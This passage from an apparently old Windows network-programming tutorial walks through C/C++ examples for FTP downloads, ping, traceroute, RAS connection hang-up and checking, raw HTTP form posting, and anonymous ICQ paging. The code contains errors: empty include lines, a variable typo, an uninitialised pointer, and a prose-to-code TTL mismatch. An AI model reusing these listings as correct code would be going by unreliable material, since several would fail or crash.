As you can see from the above diagram FTP's commands in WinInet are very similiar to normal file commands 
 
in windows. This should make it easier to understand if you are already familiar with file management in windows.
 
 
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
#include   // remember to include the WinInet header
 
#include 
 
 
 
// FTP Download Definitions
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
      wndclass.style      	      = CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc      	= recall;
 
      wndclass.cbClsExtra      	= 0;
 
      wndclass.cbWndExtra      	= 0;
 
      wndclass.hInstance      	= hInstance;
 
      wndclass.hIcon      	      = LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	      = LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground      	= (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName      	= NULL;
 
      wndclass.lpszClassName      	= "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
 
 
}
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
      if (message == WM_LBUTTONDOWN)
 
      {
 
 
 
      BOOL      	bSuccess;
 
      HINTERNET      hIntSession, hFtpSession;
 
 
 
 
 
      // Open an internet session
 
 
 
       hIntSession = ::InternetOpen ("FTP", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, INTERNET_FLAG_ASYNC);
 
 
 
      // form a connection to www.microsoft.com
 
 
 
       hFtpSession = InternetConnect (hIntSession, "www.microsoft.com", 
 
      	INTERNET_DEFAULT_FTP_PORT, "anonymous", "cos125@hotmail.com", 
 
      	INTERNET_SERVICE_FTP, 0, 0);
 
 
 
      bSuccess = FtpSetCurrentDirectory( hFtpSession, "");       // Set the current directory on the ftp server, 
 
      	      	      	                 // where "" is the directory
 
 
 
      // Copy file from internet
 
 
 
      FtpGetFile (hFtpSession,
 
      	      	"/disclaimer.txt", "/disclaimer.txt", TRUE,       	// copy file from server to disk
 
      	      	FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_ASCII, 0);
 
 
 
 
 
      InternetCloseHandle (hFtpSession);
 
      InternetCloseHandle (hIntSession);
 
 
 
 
 
      }
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
This program is quiet different to ones we have seen before. Most importantly to run this one you must 
 
link WININET.LIB to the project rather than Wsock32.lib, otherwise you'll get linker errors from your compiler.
 
 
 
The main code is in the button down part as usual, to keep things familiar. In the begining we have a BOOL 
 
and two important parts which deal with the session. hIntSession and hFtpSession. These are used to refer to 
 
the connection to the host which in this case is www.microsoft.com.
 
 
 
We pass several parameters to InternetOpen, first the name of the app "FTP", then the we just worry about 
 
standard parts like the internet type and ASyncronous.
 
 
 
With InternetConnect we really form the connection by specifying information such as the host name, 
 
"www.microsoft.com" and tell the program to use the standard FTP port which is port 21, and provide the login 
 
information required by the ftp server. We are logging in with the standard anonymous account available on all 
 
public ftp servers. If you are connecting to a computer you have an account on you replace anonymous with your 
 
username and cos125@hotmail.com with your password.We then tell it what service we are using, ie; FTP.
 
 
 
 
 
We set the current directory we wish to use on the FTP server, "" for the default directory, if a directory 
 
called home existed on the ftp server we could switch to that directory by placing home in the quotation marks, 
 
"home", and we pass a handle to the current ftp session, hFtpSession.
 
 
 
The FtpGetFile() functions structure is quiet similiar, we specify the handle then give the name of the file we 
 
wish to download, this is followed by the name we want for the file when it is downloaded onto the computer. 
 
If I wanted to download disclaimer.txt onto my computer and have its name as discoblah.txt when it got here i 
 
would set the first of these parameters to disclaimer.txt and the second one to discoblah.txt.
 
 
 
We set the files attributes to normal and then we specify the transfer type.
 
Files from FTP servers can be downloaded in more than one way, ascii or binary. We are only downloading an ascii 
 
text file right now so we set it to FTP_TRANSFER_TYPE_ASCII, however if we wanted a binary transmission, like we 
 
would for a computer program, we would set it to FTP_TRANSFER_TYPE_BINARY.
 
 
 
To finish off we close the handles hFtpSession and hIntSession.
 
 
 
 
 
 
 
[ EXCERCISES ]
 
 
 
Write a program which uses multiple threads or ASynchronous sockets to simultaneously download multiple files 
 
from a server using a binary transfer.
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
9.0 ANOTHER PROTOCOL - ICMP
 
=======================================
 
 
 
Yes unfortunately we have to cover yet another one of these protocols, but don't worry this one is cool.
 
ICMP stands for the Internet Control Message Protocol and is used for checking for errors on computers connected 
 
to the internet. This protocol isnt quite like TCP or UDP it more runs along side IP and kinda runs like a 
 
modified version of it. One of the most popular applications on the internet is run on ICMP, it is called Ping.
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
 
 
     #include 
 
 
 
     struct o
 
     {
 
             unsigned char Ttl,Tos,Flags,OptionsSize,*OptionsData;
 
     };
 
 
 
     struct
 
     {
 
             DWORD Address;
 
             unsigned long  Status,RoundTripTime;
 
             unsigned short DataSize,Reserved;
 
             void *Data;
 
             struct o  Options;
 
     } 
 
      
 
     E;
 
 
 
     HANDLE hIP;WSADATA wsa;HANDLE hIcmp;DWORD *dwIPAddr;struct hostent *phostent;
 
     DWORD d;char aa[100];struct o I;
 
 
 
     HANDLE       ( WINAPI *pIcmpCreateFile )( VOID );
 
     BOOL       ( WINAPI *pIcmpCloseHandle )( HANDLE );
 
     DWORD       (WINAPI *pIcmpSendEcho)(HANDLE,DWORD,LPVOID,WORD,LPVOID,LPVOID,DWORD,DWORD);
 
 
 
     int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev,LPSTR lpCmd,int nShow )
 
     {
 
             hIcmp = LoadLibrary( "ICMP.DLL" );
 
             WSAStartup( 0x0101, &wsa );
 
             phostent = gethostbyname( "www.microsoft.com");
 
             dwIPAddr = (DWORD *)( *phostent->h_addr_list );
 
             pIcmpCreateFile=GetProcAddress( hIcmp,"IcmpCreateFile");
 
             pIcmpCloseHandle=GetProcAddress( hIcmp,"IcmpCloseHandle");
 
             pIcmpSendEcho =GetProcAddress( hIcmp,"IcmpSendEcho" );
 
             hIP = pIcmpCreateFile();
 
             I.Ttl=6;
 
 
 
             pIcmpSendEcho(hIP,*dwIPAddr,0,0,&I,&E,sizeof(E),8000 );
 
             d=E.Address;
 
             phostent = gethostbyaddr((char *)&d,4,PF_INET);
 
             sprintf(aa,"gethostbyaddr %p",phostent );
 
             MessageBox(0,aa,aa,0);
 
             if ( phostent  != 0 )
 
                     MessageBox(0,phostent->h_name,"hi",0);
 
             wsprintf(aa,"RTT: %dms,TTL:%d", E.RoundTripTime,E.Options.Ttl );
 
             MessageBox(0,aa,"hi",0);
 
             pIcmpCloseHandle( hIP );
 
             FreeLibrary( hIcmp );
 
             WSACleanup();
 
     }
 
 
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
First off this ain't my own code, I downloaded this code off a website and if you think the coding style
 
is kinda messy, well I agree with you (bear in mind I have already cleaned it up a bit).
 
 
 
Unfortunately I couldn't compile and run this code on my computer :( , judging from the fact that almost
 
evry ping and ICMP program on the internet that relies on the ICMP dll looks like this one im guessing it
 
has something to do with my compiler or my version of windblows.
 
 
 
Anyway the program specifies some information at the start, like the ttl (time to live) and so on, which
 
it will use later and we build a structure. We then state some usual winsock variables and skip onto the 
 
WinMain function.
 
 
 
We load the ICMP library directly because microsoft din't release a .lib file for the bloody thing :).
 
We then call phostent and pass the host name www.microsoft.com to the gethostbyname() function.
 
 
 
This is closely followed by initialising 3 pointers to functions to the address's of related functions.
 
 
 
1. pIcmpCreateFile      -  IcmpCreateFile
 
2. pIcmpCloseHandle      -  IcmpCloseHandle
 
3. pIcmpSendEcho      	-  IcmpSendEcho
 
 
 
 
 
We then pass a handle to hIP and set the ttl to 60. The structure I contains fields of the IP header, which
 
we are able to alter.
 
 
 
The main function is pIcmpSendEcho (unless ya want to count WinMain), it has 8 parameters.
 
 
 
 
 
1. hIP      	-  Handle from IcmpCreateFile().
 
2. dwIPAddr      	-  Destination IP address.
 
3. 0      	      -  Pointer to buffer to send.
 
4. 0      	      -  Size of buffer in bytes.
 
5. &I      	      -  Request options.
 
6. &E      	      -  Reply buffer.
 
7. sizeof(E)      -  The size of the reply buffer.
 
8. 8000      	-  Time to wait in milliseconds.
 
 
 
 
 
We then print information about the ping like round trip time and the ttl of the return packet.
 
We finish by unloading the icmp dll and WSACleanup() after us.
 
 
 
Another application of ICMP is called tracetoute.
 
In traceroute we ping a host but we start off with the ttl = 1. This ICMP packet gets to the first router
 
and is decremented. The ttl is then 0 and the router sends back an error message telling us that it dropped
 
our packet. 
 
 
 
We then send a packet with the ttl = 2 and it is dropped by the second router and again an error message is
 
returned. We keep on sending the ping putting the ttl up by one each time until we reach the host we are
 
pinging. By saving the IP address's and host names contained in the error messages from the routers we can
 
view the route the packet takes from us to the host we are tracing. This is traceroute.
 
 
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
     #include 
 
     void abc(char *p)
 
     { 
 
      	FILE *fp=fopen("z.txt","a+");
 
            fprintf(fp,"%s\n",p);
 
           	fclose(fp);
 
     }
 
     struct o
 
     {
 
     unsigned char Ttl;unsigned char a[7];
 
     };
 
     struct
 
     {
 
     DWORD Address;
 
     unsigned long  Status,RoundTripTime;
 
     unsigned char a[8];
 
     struct o  Options;
 
     } E;
 
 
 
     HANDLE hIP;WSADATA wsa;HANDLE hIcmp;DWORD *dwIPAddr;struct hostent *phostent;
 
     DWORD d;char aa[100];struct o I;char bb[100];int z;
 
 
 
     HANDLE ( WINAPI *pIcmpCreateFile )( VOID );
 
     BOOL ( WINAPI *pIcmpCloseHandle )( HANDLE );
 
     DWORD (WINAPI *pIcmpSendEcho) (HANDLE,DWORD,LPVOID,WORD, LPVOID,       LPVOID,DWORD,DWORD);
 
 
 
     int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev,
 
                                             LPSTR lpCmd,int nShow )
 
     {
 
     hIcmp = LoadLibrary( "ICMP.DLL" );
 
     WSAStartup( 0x0101, &wsa );
 
     pIcmpCreateFile=GetProcAddress( hIcmp,"IcmpCreateFile");
 
     pIcmpCloseHandle=GetProcAddress( hIcmp,"IcmpCloseHandle");
 
     pIcmpSendEcho =GetProcAddress( hIcmp,"IcmpSendEcho" );
 
     hIP = pIcmpCreateFile();
 
 
 
     for ( z = 1; z<= 20 ; z++)
 
     {
 
            I.Ttl=(unsigned char)z;
 
           	phostent = gethostbyname( "www.neca.com");
 
            dwIPAddr = (DWORD *)( *phostent->h_addr_list );
 
            pIcmpSendEcho(hIP,*dwIPAddr,0,0,&I,&E,sizeof(E),8000 );
 
            d=E.Address;
 
           	phostent = gethostbyaddr((char *)&d,4,PF_INET);
 
            if ( phostent != 0)
 
                   strcpy(aa,phostent->h_name)  ;
 
            else
 
                   strcpy(aa,"no host name");
 
           wsprintf(bb," RTT: %dms,  TTL:      %d", E.RoundTripTime,       E.Options.Ttl );
 
           strcat(aa,bb);
 
           abc(aa);
 
           if ( E.Options.Ttl )
 
             break;
 
     }
 
     MessageBox(0,"over","hi",0);
 
     pIcmpCloseHandle( hIP );
 
     FreeLibrary( hIcmp );
 
     WSACleanup();
 
     }
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
So this is traceroute (very useful for discovering network trust issues and for diagnostics).
 
 
 
 
 
 
 
[ Excercises ]
 
 
 
Create a program which pings a host multiple times in any way you want, then compare the
 
different routes.
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
10.0 OTHER INTERNET CODE
 
=======================================
 
 
 
Some times you need more than just the common winsock programming so I decided to add this section,
 
its a bit off the mark of the tutorial but still it might come in handy.
 
 
 
 
 
10.1 INTERNET CONNECTIONS
 
=======================================
 
 
 
The first program were going to look at is Hangup.cpp which was programmed by senna spy, all of his
 
original comments are included and no code is altered so im just going to give you the code as it
 
appears in the file which is available to download from the net.
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
/////
 
//
 
// Copyright (C), April, 06 - 2000, By Senna Spy - ICQ UIN:  3973927
 
//
 
//    Senna Spy Programmer Official WebSite:
 
//
 
//       http://sennaspy.cjb.net
 
//       http://w3.to/sennaspy
 
//       http://sennaspy.tsx.org
 
//       http://www.sennaspy.hpg.com.br
 
//
 
// HangUpConnections() 
 
//
 
//    Close All Internet Connections
 
//
 
/////
 
 
 
#include  
 
   
 
#define  MAX_CONNECTIONS  128
 
 
 
//////////////////////////////////
 
//                              //
 
// HangUpConnections() Function //
 
//                              //
 
//////////////////////////////////
 
 
 
void HangUpConnections()
 
{ 
 
    // Variables
 
    RASCONN rcConnection[ MAX_CONNECTIONS ];  
 
 
 
    DWORD dwBufferSize;
 
    DWORD dwTotalConnections;
 
 
 
    int nLoop;
 
 
 
    // Set Buffer Size
 
    rcConnection[0].dwSize = sizeof( RASCONN );  
 
    dwBufferSize = MAX_CONNECTIONS * sizeof( RASCONN );
 
 
 
    // I can Enumerate Connections ?
 
    if( RasEnumConnections( rcConnection, &swBufferSize, &dwTotalConnections ) )
 
        return;
 
 
 
    // There is Connections ?
 
    if( dwTotalConnections )
 
    {
 
        // Looking All Conections
 
        for( nLoop = 0; nLoop < (int) dwTotalConnections; nLoop ++) 
 
        { 
 
             // Check Status
 
             RASCONNSTATUS rcsStatus;
 
             rcsStatus.dwSize = sizeof( RASCONNSTATUS );
 
 
 
             // Don't OK ?
 
             if( RasGetConnectStatus( rcConnection[ nLoop ].hrasconn, &rcsStatus ) )
 
                 break;
 
 
 
             // Is Connected ?
 
             if( rcsStatus.rasconnstate == RASCS_Connected )
 
             {
 
                 // Close Connection...
 
                 if( RasHangUp( rcConnection[ nLoop ].hrasconn ) )
 
                     break;
 
             }
 
        }
 
    }
 
} 
 
 
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
This program includes the ras.h header file, which is in charge of internet connections and has to
 
be included to interact with connections.
 
 
 
The main function is HangUpConnections() and all the code takes place here.
 
 
 
First we set the buffer size that will be used and then we check if we can enumerate internet connections.
 
If there are internet connections present we loop trough them and check if were connected.
 
If it turns out that there is a connection present we then close it.
 
 
 
 
 
Heres some more code utilizing ras.h and again no this one isn't by me either.
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
////
 
//
 
// Check for Internet Connection
 
//
 
// Windows 95, 98 and NT Compatible
 
// Proxy (Client) Not Compatible
 
//
 
// Copyright (C), 14/02/2000, By Marcos Velasco
 
//
 
// http://icqpassword.cjb.net
 
//
 
/////
 
 
 
#include 
 
 
 
 
 
bool IsConnected()
 
{
 
   LPRASCONN TRasCon;
 
   RASCONNSTATUS Tstatus;
 
 
 
   DWORD lg;
 
   DWORD lpcon;
 
   bool lReturn;
 
 
 
   TRasCon->dwSize = 412;
 
   lg = 256 * TRasCon->dwSize;
 
   lReturn = false;
 
 
 
   if( RasEnumConnections(TRasCon, &lg, &lpcon) == 0 )
 
   {
 
       Tstatus.dwSize = 160;
 
       RasGetConnectStatus(TRasCon->hrasconn, &Tstatus);
 
 
 
       lReturn = ( Tstatus.rasconnstate == 0x2000 );
 
   }
 
 
 
   return( lReturn );
 
}
 
 
 
 
 
 
 
// Example:
 
 
 
   if( IsConnected() )
 
       // It's OK.... Connected.. :-)
 
   else
 
       // Not Connected.. :-(
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
 
 
Like the previous code this one I downloaded from the net and has not been altered by me in any way.
 
 
 
This code is quiet similiar to the last one and it leaves you room to add code to deal with the connection,
 
this piece kind of reminds me of the port scanner earlier, it checks whether the connection is present first,
 
like the scanner checked if the port was busy and then leaves you open to add messages to the user.
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
 
 
10.2 CGI Programming
 
=======================================
 
 
 
CGI stands for the Comon Gateway Interface. On web sites we can have programs that provide a service to users.
 
These programs can be anything from guest books and chat rooms to search engines and e-mail programs, such as
 
hotmail.com's web interface or the Alta Vista search engine.
 
 
 
These programs can be written in any language you want, c++, perl, vb and any others, but how does the user
 
communicate with the program? Websites tend to use forms to collect the information on say for example, a
 
guestbook.
 
 
 
But how does the information get from the form to the program? This is when cgi is used.
 
In the following example we are going to register a website with the webcrawler search engine.
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
#include 
 
 
 
 
 
WSADATA  wsdata;
 
SOCKET   sock;      
 
DWORD    wsock;      
 
 
 
struct   sockaddr_in Sa;
 
long       cnnct;      
 
char       output[100];
 
char       msge[1000],str[10000]; 
 
int       i;
 
struct       hostent *h;
 
 
 
 
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
 
 
      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,      	// Windows Class Name
 
      	      	 "Interface",      	// Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
 
      	      	 CW_USEDEFAULT,      	// initial x position
 
      	      	 CW_USEDEFAULT,      	// initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
 
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
      if (message == WM_LBUTTONDOWN)
 
      {
 
 
 
      wsock = WSAStartup(0x0101,&wsdata);
 
 
 
      sprintf(output,"WSAStartup..wsock = %ld..wsdata=%p",wsock,wsdata);
 
 
 
      MessageBox(0,output,"Winsock",0);
 
 
 
      sock = socket(AF_INET,SOCK_STREAM,0);
 
 
 
      sprintf(output,"Socket = %ld..",sock);
 
 
 
      MessageBox(0,output,"Socket",0);
 
 
 
      h = gethostbyname("info.webcrawler.com");
 
 
 
      Sa.sin_family = AF_INET;
 
      Sa.sin_port = htons(80);
 
      Sa.sin_addr.s_addr=*((unsigned long *) h->h_addr);
 
 
 
      cnnct = connect(sock,(struct sockaddr *)&Sa,sizeof(Sa));
 
 
 
      sprintf(output,"Connect = %ld",cnnct);
 
      
 
      MessageBox(0,output,"Connect",0);
 
 
 
      strcpy(msge,"POST  /cgi-bin/addURL.cgi HTTP/1.0\r\n");
 
      strcat(msge,"Content-type: application/x-www-form-urlencoded\r\n");
 
      strcat(msge,"Content-length: 41\r\n");
 
      strcat(msge,"\r\n");
 
      strcat(msge,"URLS=http://blacksun.box.sk");
 
 
 
      MessageBox(0,msge,"Sent",0);
 
 
 
      cnnct = send(sock,msge,strlen(msge),0);
 
 
 
      sprintf(output,"Send Post=%ld",cnnct);
 
         
 
      MessageBox(0,output,"Send Post",0);
 
 
 
      i = 1;
 
 
 
      while(i !=0)
 
      {
 
      	i = recv(sock,str,sizeof(str),0);
 
 
 
      	sprintf(output,"i = %d",i);
 
      	MessageBox(0,output,"Update",0);
 
      }
 
 
 
      MessageBox(0,"Code Complete","Ending...",0);
 
          
 
}
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
 
 
This program is very familiar at this point. A search engine requires a certain amount of 
 
information before adding a site to its list to search. In the program we copy this information
 
to msge and send this to the server trough the post method. In this program we add blacksun.box.sk
 
to the list of sites to search, replace that site in the program with the address you want.
 
 
 
 
 
Of course what else do we do with search engines?
 
 
 
The following program search's for "blacksun security" on the yahoo search engine.
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
#include 
 
#include 
 
 
 
 
 
void outtie(char *p)
 
{
 
      FILE *fp=fopen("SearchLog.txt","a+");
 
      fprintf(fp,"%s\n",p);
 
      fclose(fp);
 
}
 
     
 
 
 
 
 
WSADATA  wsdata;
 
SOCKET   sock;      
 
DWORD    wsock;      
 
 
 
struct   sockaddr_in Sa;
 
long       cnnct;      
 
char       output[100];
 
char       msge[1000],str[10000]; 
 
int       i;
 
struct       hostent *h;
 
char       Headers[]="HTTP/1.0\r\n""User-Agent:AuthClient\r\n""Accept:*/*\r\n";
 
 
 
 
 
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
 
 
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
 
 
 
{
 
      static TCHAR szAppName[] = TEXT("Interface");
 
 
 
      HWND      	hwnd;
 
      MSG      	msg;
 
      WNDCLASS      wndclass;
 
 
 
      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
 
      wndclass.lpfnWndProc    = recall;
 
      wndclass.cbClsExtra     = 0;
 
      wndclass.cbWndExtra     = 0;
 
      wndclass.hInstance      = hInstance;
 
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
 
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
 
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
 
      wndclass.lpszMenuName   = NULL;
 
      wndclass.lpszClassName  = "Interface";
 
      
 
      RegisterClass (&wndclass);
 
 
 
      hwnd = CreateWindow (szAppName,          	// Windows Class Name
 
      	      	 "Interface",           // Windows Caption
 
      	      	 WS_OVERLAPPEDWINDOW,  	// Windows Style
 
      	      	 CW_USEDEFAULT,         // initial x position
 
      	      	 CW_USEDEFAULT,         // initial y position
 
      	      	 200,      	      	// initial x size
 
      	      	 200,      	      	// initial y size
 
      	      	 0,      	      	// parent window handle
 
      	      	 0,      	      	// parent menu handle
 
      	      	 hInstance,      	      // program instance handle
 
      	      	 0);      	      	// creation parameters
 
 
 
      ShowWindow(hwnd, iCmdShow);
 
 
 
      while (GetMessage (&msg, NULL, 0, 0))
 
      {
 
      	DispatchMessage  (&msg);
 
      }
 
      return 1;
 
 
 
}
 
 
 
 
 
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
 
{
 
      if (message == WM_LBUTTONDOWN)
 
      {
 
 
 
      wsock = WSAStartup(0x0101,&wsdata);
 
 
 
      sprintf(output,"WSAStartup..wsock = %ld..wsdata=%p",wsock,wsdata);
 
 
 
      MessageBox(0,output,"Winsock",0);
 
 
 
      sock = socket(AF_INET,SOCK_STREAM,0);
 
 
 
      sprintf(output,"Socket = %ld..",sock);
 
 
 
      MessageBox(0,output,"Socket",0);
 
 
 
      h = gethostbyname("search.yahoo.com");
 
 
 
      Sa.sin_family = AF_INET;
 
      Sa.sin_port = htons(80);
 
      Sa.sin_addr.s_addr=*((unsigned long *) h->h_addr);
 
 
 
      cnnct = connect(sock,(struct sockaddr *)&Sa,sizeof(Sa));
 
 
 
      sprintf(output,"Connect = %ld",cnnct);
 
      
 
      MessageBox(0,output,"Connect",0);
 
 
 
 
 
          strcpy(msge,"GET");
 
      strcat(msge," ");
 
          strcat(msge,"/bin/search?p=blacksun+security&b=1");
 
          strcat(msge," ");
 
      strcat(msge,Headers);
 
      strcat(msge,"\r\n");
 
 
 
      MessageBox(0,msge,"Sent",0);
 
 
 
      cnnct = send(sock,msge,strlen(msge),0);
 
 
 
      sprintf(output,"Send Post=%ld",cnnct);
 
         
 
      MessageBox(0,output,"Send Post",0);
 
 
 
      i = 1;
 
 
 
      while(i !=0)
 
      {
 
 
 
      memset(&str,'\0',10000);    
 
      i = recv(sock,str,sizeof(str),0);
 
 
 
      outtie(str);
 
      sprintf(output,"i = %d",i);
 
 
 
      MessageBox(0,output,"Update",0);
 
 
 
      }
 
 
 
      MessageBox(0,"Code Complete","Ending...",0);
 
          
 
}
 
 
 
      if (message == WM_DESTROY)
 
      	PostQuitMessage(0);
 
 
 
      return DefWindowProc(hwnd, message, wParam, lParam);
 
}
 
 
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
 
 
How else can we use this method? Using this we can submit information to any cgi form on a
 
website. Icq.com provides paging, where we can page icq members.
 
 
 
Im not sure who wrote the following code as its not contained in the comments and I cant remember who
 
I got it from so if you know could you let me know? (I have a feeling that its senna spy).
 
 
 
 
 
 
 
/* <---- SOURCE CODE STARTS HERE ----> */
 
 
 
 
 
 
 
///////////////////////////////////////////////////////////////////////
 
//                                                                   //
 
// PagerICQ - Send Messages to ICQ Pager                             //
 
//                                                                   //
 
//    Visual C++, Borland C++ and C++ Builder Compatible Source Code //
 
//    Windows 9x, NT and 2000 Compatible                             //
 
//                                                                   //
 
// Function:                                                         //
 
//                                                                   //
 
//    ICQPager( cUIN, cMessage )                                     //
 
//                                                                   //
 
//       Parameters:                                                 //
 
//                                                                   //
 
//          cUIN     = ICQ UIN Number                                //
 
//          cMessage = Message To Send                               //
 
//                                                                   //
 
///////////////////////////////////////////////////////////////////////
 
 
 
#include "winsock.h"
 
 
 
 
 
 
 
bool ICQPager( char * cUIN, char * cMessage )
 
{
 
   // Variables
 
   struct sockaddr_in ICQServer;
 
 
 
   WORD wVersionRequested;
 
   WSADATA wsaData;
 
 
 
   char      cEOL[] = { 13, 10, 0 };
 
   char cMsg[ 512 ] = "";
 
 
 
   bool lOK = false;
 
 
 
   int nLoop;
 
 
 
   // Remove Invalid Characters
 
   // and... Change spaces to "+"
 
   for( nLoop = 0; nLoop < strlen( cMessage ); nLoop ++ )
 
   {
 
        if( cMessage[ nLoop ] <  33 || 
 
            cMessage[ nLoop ] > 126 || 
 
            cMessage[ nLoop ] == '&' )
 
        {
 
            cMessage[ nLoop ] = '+';
 
        }
 
   }
 
 
 
   // Start Winsock
 
   wVersionRequested = MAKEWORD( 1, 0 );
 
 
 
   if( WSAStartup( wVersionRequested, &wsaData ) == 0 )
 
   {
 
       // Make Socket
 
       ICQServer.sin_family      = AF_INET;
 
       ICQServer.sin_port        = htons( 80 );
 
       ICQServer.sin_addr.s_addr = inet_addr( "205.188.147.55" ); //wwp.icq.com
 
 
 
       int ICQSock = socket( AF_INET, SOCK_STREAM, 0 );
 
 
 
       // Connect Server
 
       if( connect( ICQSock, (struct sockaddr *) &ICQServer, sizeof( ICQServer ) ) == 0 )
 
       {
 
           // Make Message
 
           strcpy( cMsg, "GET /scripts/WWPMsg.dll?from=anonymous&fromemail=mail@test.com&subject=pager" );
 
           strcat( cMsg, "&body=" );
 
           strcat( cMsg, cMessage );
 
           strcat( cMsg, "&to=" );
 
           strcat( cMsg, cUIN );
 
           strcat( cMsg, " HTTP/1.0" );
 
           strcat( cMsg, cEOL );
 
           strcat( cMsg, cEOL );
 
           strcat( cMsg, cEOL );
 
 
 
           // Send Message
 
           lOK = ( send( ICQSock, cMsg, strlen( cMsg ), 0 ) >= 0 );
 
 
 
           // Reveive
 
           if( lOK )
 
               recv( ICQSock, cMsg, 512, 0 );
 
 
 
           // Close Socket
 
           closesocket( ICQSock );
 
       }
 
 
 
       // Close Winsock
 
       WSACleanup();
 
   }
 
 
 
   // Return
 
   return ( lOK );
 
}
 
 
 
 
 
////////////////////////
 
//                    //
 
// Example of the use //
 
//                    //
 
////////////////////////
 
 
 
void Example()
 
{
 
    char * cMessage = "Message test send to ICQ Pager";
 
 
 
    if( ICQPager( "3973927", cMessage ) )
 
        // OK
 
    else
 
        // Error
 
}
 
 
 
 
 
 
 
/* <---- SOURCE CODE ENDS HERE ----> */
 
 
 
 
 
 
 
Again we copy the text to be sent to the server into cMsg and send it to the server. The main 
 
